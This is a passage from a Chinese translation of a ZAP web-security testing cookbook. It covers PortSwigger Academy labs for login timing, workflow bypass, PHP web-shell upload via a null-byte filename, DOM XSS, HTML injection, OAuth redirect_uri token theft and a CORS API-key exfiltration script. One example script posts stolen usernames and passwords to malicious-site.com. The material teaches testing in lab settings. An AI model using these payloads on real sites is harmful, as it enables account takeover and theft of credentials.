许多系统登录过程需要用户名和密码。如果你仔细观察,当猜测用户名时,如果找到了正确的用户名但输入了错误的密码,所需的时间比输入错误的用户名和错误的密码都要长。这使得即使不知道正确的密码,我们也能找到正确的用户名。然后,如果知道用户名,猜测密码会比同时猜测用户名和密码要容易得多。这种类型的过程定时攻击使得攻击者可以通过分析过程完成所需的时间来判断他们是否拥有有效的用户名,而不依赖于图形用户界面消息。
重要说明
同时对用户名和密码进行模糊攻击(即集群轰炸),也可以用来暴力破解登录。然而,如果可能,先枚举一个有效的用户名要比同时枚举用户名和密码更高效。
另见
对于其他类似的案例,请访问以下链接:
测试绕过工作流
如果用户未按应用程序的业务逻辑要求正确/精确地完成特定阶段,则必须停止工作流程的所有操作并回滚或取消所有新活动。此实验假设了应用程序购买业务工作流程中事件顺序的固有缺陷。在本实验中,攻击者(你)将利用此缺陷,以零额外成本购买皮夹克。
准备工作
对于这个实验,你需要启动 PortSwigger 的不足的工作流程验证实验,并确保 ZAP 正在拦截实验应用程序和你的浏览器之间的流量。
如何操作…
在这个实验中,我们将演示如何通过添加商品到购物车而不增加价格来绕过商品购买工作流程。按照以下步骤绕过购买工作流程:
- 在浏览器代理到 ZAP 后,访问该 URL 并登录到 PortSwigger Academy 网站以启动实验:
portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation
-
在 ZAP 运行并拦截时,使用提供的用户名和密码登录实验应用程序:
wiener
和peter
。 -
转到应用主页,购买任何你能够用店铺信用支付的商品,例如巴贝奇 Web 喷雾。
-
查看代理历史记录标签,查找你下单时的订单:
POST /cart/checkout
此请求将你重定向到订单确认页面。
- 打开 ZAP 的
GET /cart/order-confirmation?order-confirmation=true
请求,在请求编辑器中查看。见图 8.22:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.21_B18829.jpg
图 8.21 – 获取请求的巴贝奇 Web 喷雾
-
接下来,将皮夹克添加到你的购物篮中。
-
在相同的请求编辑器中,重新发送订单确认请求(如图 8.21所示),并观察订单完成,但费用没有从你的店铺信用中扣除。
-
你的历史记录标签将显示成功的皮夹克订单请求。见图 8.23。
实验已解决。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.22_B18829.jpg
图 8.22 – 已购买皮夹克并完成实验
工作原理…
工作流缺陷包括任何使攻击者能够滥用系统或应用程序的缺陷,从而让他们能够避免(不执行)原定或构建的工作流。与业务逻辑工作流相关的漏洞是独特的;每个系统或应用程序都有其自己的工作流来完成某项任务或流程。因此,手动滥用案例必须根据特定于工作流的需求和用例仔细制定。如果交换发起一个操作,如果过程失败,该响应将被撤销并消除。应用程序的工作流必须包含控制机制,以确保用户的事务/操作按正确的顺序进行。
由于漏洞的特定性质是绕过已编程的逻辑,用例非常细致,并且需要手动审查以确定正确的需求,从而避免绕过工作流。
另见
测试上传带有恶意有效载荷的意外文件类型
应用程序中的许多业务流程允许上传和修改通过文件上传提供的数据。业务流程必须检查这些文件,只接受特定的 授权 文件类型。业务逻辑负责确定哪些文件是 授权 的,并且它们是否特定于应用程序/系统。在这个案例中,我们将通过个人资料头像攻击一个可被利用的文件上传选项。由于某些文件扩展名被禁止,简单的防御将通过传统的混淆技术被绕过。
用户将上传一个基本的 PHP Web Shell,用于将 /home/carlos/
文件夹中的一个秘密文件内容提取出来以完成实验。
准备工作
对于这个实验,你需要启动 PortSwigger 的Web shell 通过混淆文件扩展名上传实验,并确保 ZAP 正在拦截实验应用与浏览器之间的流量。
如何操作……
在这个实验中,我们将利用文件上传选项上传一个文件,并使用它来窃取数据。按照以下步骤操作,了解如何完成文件上传和数据窃取:
- 使用浏览器代理到 ZAP 后,导航到以下 URL 并登录到 PortSwigger Academy 网站以启动实验:
- 使用用户名和密码(
wiener
和 peter)登录,上传任何.jpg
或.png
图像作为头像,然后点击返回我的帐户返回帐户页面。参见图 8.24:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.23_B18829.jpg
图 8.23 – 上传头像文件
-
转到历史记录,并查找通过
GET
请求/files/avatars/<YOUR-IMAGE>
检索到的上传图像。 -
在请求编辑器中打开此请求。
-
在你的机器上创建一个名为
exploit.php
的文件,包含一个脚本,用于获取 Carlos 的秘密内容——例如,<?php echo** **file_get_contents('/home/carlos/secret'); ?>
。 -
尝试使用这个脚本作为你的头像。如图 8.25所示,结果表明,你只能提交 JPG 和 PNG 文件。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.24_B18829.jpg
图 8.24 – 上传 exploit.php 失败
-
在 ZAP 的历史记录标签中,找到用于提交文件上传的
POST /my-account/avatar
请求。 -
在请求编辑器中,打开
POST /my-account/avatar
请求,并查找与 PHP 文件相关的请求体部分。在Content-Disposition
头中,将文件名参数的值更改为包含 URL 编码的空字节,然后是.jpg
扩展名,filename="exploit.php%00.jpg"
(参见图 8.26):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.25_B18829.jpg
图 8.25 – 上传的文件请求体,exploit.php
- 点击发送以发送请求;如你所见,文件已成功上传。
注意,在响应的消息中,上传的文件名和格式是exploit.php
,如图 8.27所示,这表明空字节和.jpg
扩展名已经被移除:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.26_B18829.jpg
图 8.26 – 成功上传 exploit.php
- 从
Sites
窗口中,打开GET /files/avatars/<YOUR-IMAGE>
请求,并在请求编辑器中替换路径中的图片文件名为exploit.php
,然后发送请求。观察到 Carlos 的秘密在响应中返回,如图 8.28所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_8.27_B18829.jpg
图 8.27 – 响应中包含 Carlos 的秘密(已模糊处理)
- 提交秘密以解决实验室问题。
它是如何工作的…
由于上传过程会在文件缺少指定扩展名时立即拒绝该文件,我们不得不使用一种混淆技术来欺骗系统,让它认为我们上传的是.jpg
文件。这与上传恶意文件有所不同,因为错误的文件格式通常不会被认为是恶意的,尽管它仍然可能对保存的数据造成危害。
在实验室示例中,应用程序只接受特定的文件格式,.jpg
文件进行处理。由于文件验证的保障级别较低,程序没有检查上传文件的内容,或者在其他情况下,没有验证扩展名本身(高级别的文件验证)。这可能导致应用程序或服务器提供意外的系统或数据库结果,或者为攻击者提供利用的新方式。
另见
第九章:客户端测试
在进行客户端测试时,攻击类型主要集中在客户端(浏览器)上,而非攻击应用架构的服务器端。这些攻击类型专注于系统或应用的客户端组件,例如网页浏览器或操作系统。为了发现漏洞和缺陷,测试人员可能会采用一系列工具和方法,包括手动测试、自动化测试工具和网络扫描器。你将学习主动攻击常见问题,如文档对象模型(DOM) 基于的跨站脚本攻击 (XSS)、JavaScript 执行(例如泄露最终用户的会话 Cookie)、HTML 注入(攻击者注入恶意代码)、客户端 URL 重定向(攻击者操控网站或 Web 应用,将受害者客户端重定向)、跨源资源共享(利用 Web 应用的安全策略漏洞访问资源或数据)以及WebSockets 测试(攻击者利用 WebSocket 协议漏洞拦截、篡改或伪造客户端与服务器之间的通信)。客户端渗透测试的目的是发现并报告攻击者可能利用的漏洞和缺陷。通过检测并修复这些漏洞,组织可以提升系统安全,防止潜在攻击。
在本章节中,我们将涵盖以下实验内容:
-
测试基于 DOM 的跨站脚本攻击
-
测试 JavaScript 执行
-
测试 HTML 注入
-
测试客户端 URL 重定向
-
测试跨源资源共享
-
测试 WebSockets
技术要求
本章节要求使用常见的浏览器,例如 Mozilla Firefox。你还需要使用你的 PortSwigger 账户访问将在本章节实验中使用的 PortSwigger Academy 实验室。
测试基于 DOM 的跨站脚本攻击
这与反射型跨站脚本攻击相对,反射型跨站脚本攻击是恶意 JavaScript 被 Web 服务器返回,或者存储型 XSS 攻击,是攻击被永久存储在目标服务器或数据库中。这两种攻击都是服务器端注入问题。而 DOM XSS 是纯粹的客户端攻击。DOM XSS
是针对客户端(浏览器)DOM 环境的攻击。
准备工作
本实验需要一个 PortSwigger Academy 账户以及 ZAP 来拦截从服务器到浏览器的请求和响应。
如何操作…
在这个实验中,用户将攻击具有基于 DOM 的 XSS 漏洞的搜索查询跟踪功能。这个弱点利用了 document.write
JavaScript 函数将数据输出到网页。然后,location.search
中的数据可以通过 URL 修改并传递给 document.write
方法。要完成实验,DOM XSS 攻击需要调用 alert
函数。
重要提示
检查页面源代码可以帮助你发现可被利用的 DOM XSS 漏洞,方法是寻找在创建攻击时常用的 DOM 元素。
-
导航至使用 ZAP 代理的浏览器的 URL,并登录 PortSwigger Academy 网站以启动实验室 (
portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink
)。 -
一旦实验室加载完成,你将看到一个包含搜索栏的主博客页面。在这里,输入任何单词或字母。
-
应用程序将尝试查找你的词,并以单引号形式显示给你。右键点击结果并选择 检查。
-
你会注意到你的随机字符串被放置在
img src
属性中,如 图 9.1 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.1_B18829.jpg
图 9.1 – 检查搜索结果
-
在搜索栏内,输入一个恶意的
img
属性,例如以下内容:#"><img src=/ onerror=alert(2)>
这段 HTML JavaScript 代码将被浏览器执行,创建一个弹出警告显示文本 2
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.2_B18829.jpg
图 9.2 – 被利用的 DOM XSS 有效载荷
它是如何工作的…
DOM 是一个用于在线内容的编程接口,它使应用程序能够更改文档的结构、设计和内容,这些内容代表了网页。
基于 DOM 的 XSS 漏洞通常出现在以下任何 JavaScript 属性接受数据输入时:
-
一个 来源(location.search),攻击者可以控制。
-
一个 URL (document.referrer)
-
用户的 cookies (document.cookie)
-
一个 接收点(eval(), document.body.innerHTML),它接受有害的 JavaScript 函数或 DOM 对象。
这些中的任何一个都可能允许动态代码执行,导致被利用。
还有更多…
DOM 中的多个数据源容易受到 XSS 攻击,如下所示:
-
输入字段:例如,文本框和表单字段如果用户的输入在展示到网站上之前没有经过适当清理,可能会受到 XSS 攻击的威胁。
-
查询字符串:攻击者可以利用 URL 的查询字符串向网页注入恶意代码。如果程序在展示页面之前未能验证或清理查询字符串,就可能发生这种情况。
-
Cookies
:如果它们没有被适当加密或包含未经清理的用户输入,cookies 可能会受到 XSS 攻击的威胁。 -
文档属性:如果文档的标题和 URL 在展示之前没有被正确清理,它们可能会受到 XSS 攻击的威胁。
-
JavaScript 变量:如果它们包含未经清理的用户输入,JavaScript 变量可能会受到 XSS 攻击的威胁。
-
HTML 属性:包含未经清理的用户输入的 HTML 属性,如
image
标签的src
属性,可能会受到 XSS 攻击的威胁。
jQuery 是一个常用的 JavaScript 库,通常用于操作 DOM。如果不正确使用,多个 jQuery 函数可能会导致基于 DOM 的 XSS 漏洞,如此处所列。
-
html()
:此函数设置元素的 HTML 内容。如果用于将元素的 HTML 内容设置为未经清理的用户输入,可能会导致 DOM XSS 漏洞。 -
append()
:此函数将在元素的末尾插入内容。如果用于在元素末尾插入未经清理的用户输入,可能会导致 DOM XSS 漏洞。 -
prepend()
:此函数将在元素的开头插入内容。如果用于在元素开头插入未经清理的用户输入,可能会导致 DOM XSS 漏洞。 -
before()
:此函数将在一个元素之前插入内容。如果用于在元素之前插入未经清理的用户输入,可能会导致 DOM XSS 漏洞。 -
after()
:此函数将在元素之后插入内容。如果用于在元素之后插入未经清理的用户输入,可能会导致 DOM XSS 漏洞。 -
text()
:此函数设置元素的文本内容。如果用于将元素的文本内容设置为未经清理的用户输入,可能会导致 DOM XSS 漏洞。
对于网页开发者来说,在使用任何这些函数进行编码之前,正确地清理所有用户输入是非常重要的,包括add()
、animate()
、insertAfter()
、insertBefore()
、replaceAll()
、replaceWith()
、wrap()
、wrapInner()
、wrapAll()
、has()
、constructor()
、init()
、index()
、jQuery.parseHTML()
和$.parseHTML()
。
对于其他载荷,请访问以下 GitHub 页面:
-
PayloadsAllTheThings:
github.com/swisskyrepo/PayloadsAllTheThings
-
SecLists:
github.com/danielmiessler/SecLists/tree/master/Fuzzing/XSS
-
XSS Payload List:
github.com/payloadbox/xss-payload-list
重要提示
如果下载/克隆任何仓库,请确保你有安装它们的权限,因为某些列表(如 SecLists)包含恶意载荷。如果在工作笔记本上安装,可能会触发端点检测和响应解决方案或其他安全工具,标记你有恶意内容,IT 人员可能会问你为什么它在你的工作站上。避免惹上麻烦。
测试 JavaScript 执行
JavaScript 执行是指即使网站有某种保护措施(例如对某些字符进行编码),也能在网站中注入并执行 JavaScript。对于许多攻击者来说,简单的字符编码并不总是一个挑战;他们通过创建更复杂的负载,绕过该编码方式,让后端服务器将其转换为 JavaScript,并允许其在网站上执行。
准备工作
此实验室需要一个 PortSwigger Academy 账号以及 ZAP 来拦截从服务器到浏览器的请求和响应。
如何操作…
在这个示例中,我们将绕过编码机制来传递我们的负载。你将看到我们如何向页面注入 JavaScript 并激活负载,因为我们会发现绕过编码方法的途径。
按照以下步骤开始:
-
在浏览器通过 ZAP 代理访问 URL,并登录 PortSwigger Academy 网站启动实验室(
portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded
)。 -
在应用程序中,在
Search
字段中输入任何字符串,如 图 9.3 所示,然后点击Search
:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.3_B18829.jpg
图 9.3 – Web 应用的搜索字段
- 接下来,进入 ZAP 并查看
Sites
窗口。查找实验室 URL 并点击,如 图 9.4 所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.4_B18829.jpg
图 9.4 – Sites 窗口
-
在选择了 URL 路径后,右键单击下拉菜单并选择
Open/Resend with** **Request Editor
。 -
查找 URL 中的
search=
字段(见图 9.5):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.5_B18829.jpg
图 9.5 – Manual Request Editor 中的 search= 字段
- 编辑
search=
字段,将负载设置为-alert(1)-
,如 图 9.6 所示,然后按Send
发送请求:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.6_B18829.jpg
图 9.6 – 在 search= 字段中设置负载
- 一旦在
Manual Request Editor
中收到响应,向下滚动到页面中返回代码的位置,如 图 9.7 所示。你会注意到,负载并不在单引号内,而是alert(1)
的值被发送到searchTerms
对象,这在浏览器中触发了 XSS 负载:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.7_B18829.jpg
图 9.7 – 成功返回的代码
它是如何工作的…
JavaScript 执行漏洞使应用程序暴露于许多常见漏洞中,例如 XSS 以及任何由 JavaScript 创建的负载。JavaScript 执行利用了允许用户控制输入并返回到网站的漏洞,使得负载可以在那里被触发。
还有更多…
攻击者将使用多种技术来帮助绕过保护措施。一种常用的技术是URL 编码,也称为百分号编码,其中 URL 或表单字段中的某些字符被替换为它们的十六进制等效值,并在前面加上百分号符号(%)。例如,一个非常著名的黑客字符是单引号('),它被编码为%27
。攻击者使用这种技术绕过安全过滤器或向 Web 应用程序注入恶意代码。
当这失败时,另一种绕过安全性的技术称为双重编码。这就是将像%27
这样的编码值再次编码,变成%2527
。这有助于绕过只检查单一编码值的过滤器。
最后一种技术叫做Unicode 编码,它允许攻击者通过使用潜在危险字符的替代编码来绕过基于黑名单的输入验证过滤器。在我们相同的例子中,%27
变为U+0025U+0027
,甚至可以进一步写为U+0025U+0032U+0037
。这些攻击还可以通过将单引号表示为其 Unicode 编码形式的全角撇号(U+FF07)或用 UTF-8 形式编码为%EF%BC%87
来变得更加复杂。
在测试时,最好尝试多种攻击方法,以了解应用程序如何受到保护,以及字段是否正确验证输入或在 SQL 语句的情况下进行参数化。
测试 HTML 注入
HTML 注入是指用户可以访问 Web 应用程序中的输入参数,并能将任意 HTML 代码注入到该网页中。
准备开始
本实验需要一个 PortSwigger Academy 账户和 ZAP 来拦截从服务器到浏览器的请求和响应。
如何操作…
在这个实验中,你将利用搜索博客功能,它存在 DOM 型 XSS 漏洞。攻击将利用innerHTML
赋值来修改div
元素的 HTML 内容,使用来自location.search
的信息。结果将执行一个跨站脚本攻击,调用alert
函数以完成实验。
按照以下步骤开始:
-
在浏览器通过 ZAP 代理访问 URL 并登录 PortSwigger Academy 网站以启动实验(
portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
)。 -
在实验应用程序中,将以下 HTML 负载输入到搜索字段中:
<img src=1 onerror=alert(1)>
-
一旦你点击搜索,负载将会执行,如图 9.8所示,完成实验:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.8_B18829.jpg
图 9.8 – 警报负载
一旦成功,你将看到警报负载,PortSwigger Academy 实验会祝贺你。做得好!
它是如何工作的…
之所以有效,是因为src
属性的值(1)不正确,从而抛出错误。但由于这个错误,一旦onerror
事件处理程序被激活,负载中的alert()
函数将被调用。每当客户端尝试加载包含执行负载的恶意 POST 请求的网页时,都会发生以下结果。
当输出未正确编码且用户输入未经过适当清理时,应用程序会暴露于注入漏洞,攻击者可以精心设计恶意 HTML 页面并将其发送给目标进行处理。受害者的浏览器将解析并执行整个构造的页面,因为它无法理解合法代码和恶意 HTML 代码中的好部分。
还有更多…
HTML 注入与 JavaScript 执行类似,都是通过将恶意代码注入到 Web 应用程序中,并让浏览器执行这些代码。HTML 注入是将 HTML 代码注入到网站中,通常通过更改输入字段或 URL 参数来实现。浏览器随后会渲染这些注入的代码,这可能会改变网站的结构和设计。或者,JavaScript 注入是指插入 JavaScript 代码。攻击者可以通过多种方式执行 HTML 注入,如下所示:
-
窃取用户数据:当网页加载时,攻击者可能会注入 JavaScript 代码来窃取用户信息,如登录凭证。例如,攻击者可能插入代码,生成一个隐藏的表单,并自动将其填充到他们控制的服务器上,从而让他们接收用户的信息。例如,代码可能如下所示:
<script>
function stealData() {
var form = document.createElement("form");
form.setAttribute("method", "post");
form.setAttribute("action", "http://malicious-site.com");
var loginInput = document.createElement("input");
loginInput.setAttribute("type", "hidden");
loginInput.setAttribute("name", "username");
loginInput.setAttribute("value", document.getElementById("username").value);
form.appendChild(loginInput);
var passwordInput = document.createElement("input");
passwordInput.setAttribute("type", "hidden");
passwordInput.setAttribute("name", "password");
passwordInput.setAttribute("value", document.getElementById("password").value);
form.appendChild(passwordInput);
document.body.appendChild(form);
form.submit();
}
</script>
-
重定向用户:攻击者可以将 JavaScript 代码注入网页,将用户重定向到恶意网站。例如,攻击者可以注入代码,改变浏览器中
location
属性的值,从而导致用户被重定向到一个模仿合法网站的钓鱼网站:<script>
window.location = "http://malicious-site.com";
</script>
-
网络钓鱼:攻击者可能将 JavaScript 代码注入到网页中,将用户引导到恶意网站。例如,攻击者可能会包含代码,修改位置字段的值,并将访问者引导到一个看起来与合法网站完全相似的钓鱼网页:
<form action="http://malicious-site.com" method="post">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="Log in">
</form>
-
SQL 注入:攻击者可能将 SQL 查询插入到 Web 应用程序中,这可能让他们未经授权访问数据库,并允许他们提取、修改或删除数据。例如,攻击者可能会插入代码,返回
users
表中的所有信息,例如UNION SELECT *** **FROM users"
:<form action="http://zaproxy.org/search" method="get">
<input type="text" name="search" value="' UNION SELECT * FROM users">
<input type="submit" value="Search">
</form>
测试客户端 URL 重定向
URL 重定向攻击(开放重定向)发生在应用程序允许不受信任的用户输入的情况下,攻击者向用户提供一个超链接。然后,这个超链接会将他们发送到一个与用户试图访问的目标网页不同的外部 URL。通俗地说,当攻击者将用户从当前页面发送到一个新的 URL 时,就会发生这种情况。
准备工作
这个实验需要一个 PortSwigger Academy 账户和 ZAP 来拦截服务器发送到浏览器的请求和响应。
如何操作…
在这个示例中,实验使用开放授权(OAuth)服务来验证虚假社交媒体账户。你,作为攻击者,将利用 OAuth 中的配置错误来窃取与另一个用户账户相关的授权令牌,以获取访问权限并移除用户 Carlos:
-
在浏览器代理到 ZAP 的 URL 中导航,并登录到 PortSwigger Academy 网站以启动实验(
portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri
)。 -
首先确保在 ZAP 中捕获请求。然后点击我的账户,使用提供的凭据通过 OAuth 登录。网页上会显示一个消息指示你正在被重定向。此外,在 URL 中,你会看到你正在使用 OAuth(如图 9**.9所示):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.9_B18829.jpg
图 9.9 – OAuth URL
- 通过单击我的账户注销,然后再次登录。
你会注意到你立即登录了。这是因为仍然存在与 OAuth 服务的活动会话;因此,你无需提供用户名和密码进行重新验证。
- 在 ZAP 中,查看历史选项卡,可以找到最近的 OAuth 请求。首先输入
GET /auth?client_id=[...]
。在发送此请求后,立即被重定向到redirect_uri
,并在请求消息中连同授权码一起发送(见图 9**.10):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.10_B18829.jpg
图 9.10 – 授权请求
-
右键单击并在手动
/auth?client_id=
请求。 -
在这个请求中(见图 9**.11),你可以发送任意随机值作为
redirect_uri
而不会引起错误。这是你将用来创建恶意重定向 URL 的参数:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.11_B18829.jpg
图 9.11 – 重定向 URI 操纵
-
接下来,将利用漏洞服务器的统一资源标识符(URI)作为
redirect_uri
。然后右键单击并复制请求 URL。将此 URL 输入到浏览器地址栏中,然后按回车键发送请求。你会看到网页打开,并显示在漏洞服务器页面上的默认消息;Hello world!。 -
回到漏洞服务器的访问日志,你会看到有一条日志记录了你的授权码。这表明授权码泄露到外部域(见图 9.12):
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.12_B18829.jpg
图 9.12 – 带有授权码的漏洞服务器访问日志
-
现在保留该 URL,但返回到主漏洞服务器页面,并将其粘贴到 body 的 iframe 中(请参阅以下代码片段),确保
OAUTH-ID
、CLIENT-ID
(你第一次登录时的 OAuth ID)和EXPLOIT-ID
(漏洞服务器的 ID)是正确的:<iframe src="https://OAUTH-ID.web-security-academy.net/auth?client_id=CLIENT_ID&redirect_uri=https://EXPLOIT-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
-
接下来,点击底部的
Store
按钮上传漏洞。一旦完成,不要点击View exploit
,而是从src" "
复制整个网址,打开一个新的浏览器标签页,将网址粘贴到地址栏并访问它。如前所述,这将打开一个 iframe,展示漏洞服务器网页。 -
关闭浏览器标签页,返回漏洞服务器并检查
Access log
。你将看到日志显示一个GET /?code=
请求,带有新生成的代码,如图 9.13所示。这是你的代码,但它能让你判断漏洞是否有效:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.13_B18829.jpg
图 9.13 – iframe 负载的访问日志
- 将相同的漏洞交付给受害者,然后返回
Access Log
,查找来自不同 IP 地址的新生成代码。从日志中的结果复制受害者的代码:
重要提示
如果代码字符串的末尾有一个破折号(-),请确保将这个破折号和整个代码一起复制。
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.14_B18829.jpg
图 9.14 – 受害者负载响应
-
先登出整个网站,使用新捕获的代码,构造一个新的
oauth-callback
URL 并将其粘贴到浏览器的地址栏中访问:https://LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN-CODE
-
OAuth 会自动完成身份验证并将你登录为管理员。
-
进入
Admin
面板。 -
删除 Carlos。
它是如何工作的…
OAuth 2.0 框架是一个常见的身份验证工具,但由于配置错误,常常会出现漏洞。OAuth 流程的一个重要组件是重定向 URL。授权服务器将在用户成功授权某个应用后将用户引导回应用。至关重要的是,服务不能将客户重定向到随机位置,因为重定向 URL 包含关键信息。
OAuth 提供者是网络钓鱼攻击的主要目标,因为它们在通过浏览器重定向传递access_token
时未验证redirect_uri
。
在这次攻击中,威胁行为者向目标提供一个指向受信任认证门户的 URL,利用该认证门户,恶意用户可以将受害者的access_token
发送到他们控制的 web 服务器,从而允许攻击者访问未授权的资源。
还有更多…
用户可以通过 OAuth 协议向第三方应用程序提供资源访问权限(即数据或 API),而无需透露他们的登录信息。OAuth 身份验证过程通常由以下三个关键元素组成:
-
客户端应用程序:这是一个第三方程序,旨在获取对用户资源的访问权限。它必须在 OAuth 提供者处注册,并配备客户端 ID 和密钥。
-
授权服务器:这是负责管理用户资源并进行用户身份验证的服务器。通常由 OAuth 提供者(如 Google、Facebook、Twitter、Linkedin、Windows Live 等)管理,负责为客户端应用程序提供访问权限。
-
资源拥有者:这是拥有客户端应用程序希望使用的资源的用户。资源拥有者必须授权客户端应用程序访问他们的资源。
在 OAuth 身份验证过程中,客户端应用程序将用户重定向到授权服务器的登录页面。之后,用户输入登录信息并授权客户端应用程序。授权服务器随后将用户重定向回客户端应用程序,提供一个访问令牌,允许客户端访问用户的资源。
重要提示
在某些 OAuth 实现中,可能还包括额外的组件,例如存储用户资源的资源服务器,以及提供访问令牌的令牌端点。
在用户授权客户端应用程序后,攻击者可以通过 OAuth 重定向攻击(也称为 开放重定向攻击)将用户引导到恶意网站。这可以通过诱使用户点击包含恶意重定向 URI 的链接或更改客户端应用程序使用的重定向 URI 来实现。一旦用户被强制重定向到恶意网站,攻击者就可以获取访问令牌并利用它访问用户的资源。
这是一个简化的示例,展示了攻击者可能用来执行这种攻击的 URL 字符串:
https://legitimate-oauth-provider.com/authorize?redirect_uri=https://attacker-controlled-website.com/redirect
这个示例的 URL 字符串中包含了客户端应用程序的重定向 URI、合法 OAuth 提供者的授权端点,以及一个指向攻击者网站的 query
参数。受害者点击链接后,攻击者的网站将充当重定向 URI,导致浏览器向合法的 OAuth 提供者网站提交带有该 URL 字符串的请求。
测试跨域资源共享
要了解 跨域资源共享(CORS) 漏洞,首先需要理解同源策略。同源策略的目的是限制网站访问来自不同源域的资源。虽然对于某些网站,同源策略是一个问题,但如今许多网站与子域或第三方网站进行交互,需要跨域例外。CORS 就是为了解决这个问题而创建的。
准备就绪
此实验要求拥有 PortSwigger Academy 账户和 ZAP,以拦截来自服务器到浏览器的请求和响应。实验网页应用的登录凭证如下:
-
**用户名
: **wiener
-
**密码
: **peter
如何操作…
在此配方中,实验引入了一个存在安全隐患的网站,它的 CORS 配置不安全,信任所有来源。为了解决这个问题,我们将使用 CORS 构建一个恶意的 JavaScript 函数,以获取管理员的 API 密钥,然后将代码上传到服务器。
按照以下步骤开始操作:
- 使用浏览器代理至 ZAP 的 URL,登录 PortSwigger Academy 网站并启动实验
(portswigger.net/web-security/cors/lab-basic-origin-reflection-attack
).
-
启动 ZAP,并确保你使用手动探索器并启动 Firefox 浏览器,或者启用浏览器扩展工具以代理该页面。
-
一旦实验加载并进入应用程序的主页,点击 我的账户。使用提供的凭证登录并访问 账户 页面。
-
查看历史记录并查看响应头(参见 图 9.15),其中会显示你通过 AJAX 请求
/accountDetails
获取的密钥。在同一响应中,你将看到Access-Control-Allow-Credentials
头部。这表明可能存在 CORS 问题:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.15_B18829.jpg
图 9.15 – API 密钥响应头
-
接下来,右键点击请求并在 手动请求编辑器 中打开它。然后使用添加的头部重新提交请求(参见 图 9.16):
origin: https://zaprules.com
在这里,我们看到 origin
头部,输入的域名被反射回来了:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.16_B18829.jpg
图 9.16 – 添加的来源头部
- 你会看到我们输入的
origin
URL 在Access-Control-Allow-Origin
头中被反射回来:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.17_B18829.jpg
图 9.17 – 显示来源的响应头
-
在浏览器顶部的实验中,点击
Go to exploit server
并输入以下有效负载 HTML 脚本。确保将<random-string>
替换为首次启动实验时生成的唯一实验 URL:<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://<random-string>.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
在 图 9.18 中,我们看到实验室头部,显示了 Go to exploit server
按钮和 Submit solution
按钮,用于解决实验:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.18_B18829.jpg
图 9.18 – 链接到漏洞利用服务器
- 点击页面底部的查看漏洞利用。这将有助于确保漏洞利用有效,并且你已经到达了带有 API 密钥的日志页面,如图 9.20所示:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.19_B18829.jpg
图 9.19 – 查看漏洞利用日志
- 返回漏洞利用服务器,首先点击存储,然后点击向受害者发送漏洞利用以发送漏洞利用:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.20_B18829.jpg
图 9.20 – 向受害者发送漏洞利用按钮
- 发送漏洞利用后,点击访问日志,从
/log?key=
日志条目中提取管理员的 API 密钥。为了便于搜索,可以查看左侧列中的 IP 地址:
https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/zap-cb/img/Figure_9.21_B18829.jpg
图 9.21 – 管理员的 API 密钥
- 要完成,请使用位于实验网页顶部的提交解决方案按钮。无论是从主实验页面还是从漏洞利用服务器页面,都可以看到该按钮。
工作原理…
CORS 允许网站通过利用 HTTP 头部设置允许的来源,从其他网站请求资源。CORS 使用的头部是Access-Control-Allow-Origin
和Access-Control-Allow-Credentials
。Access-Control-Allow-Origin
有三个值:一个是通配符(*)
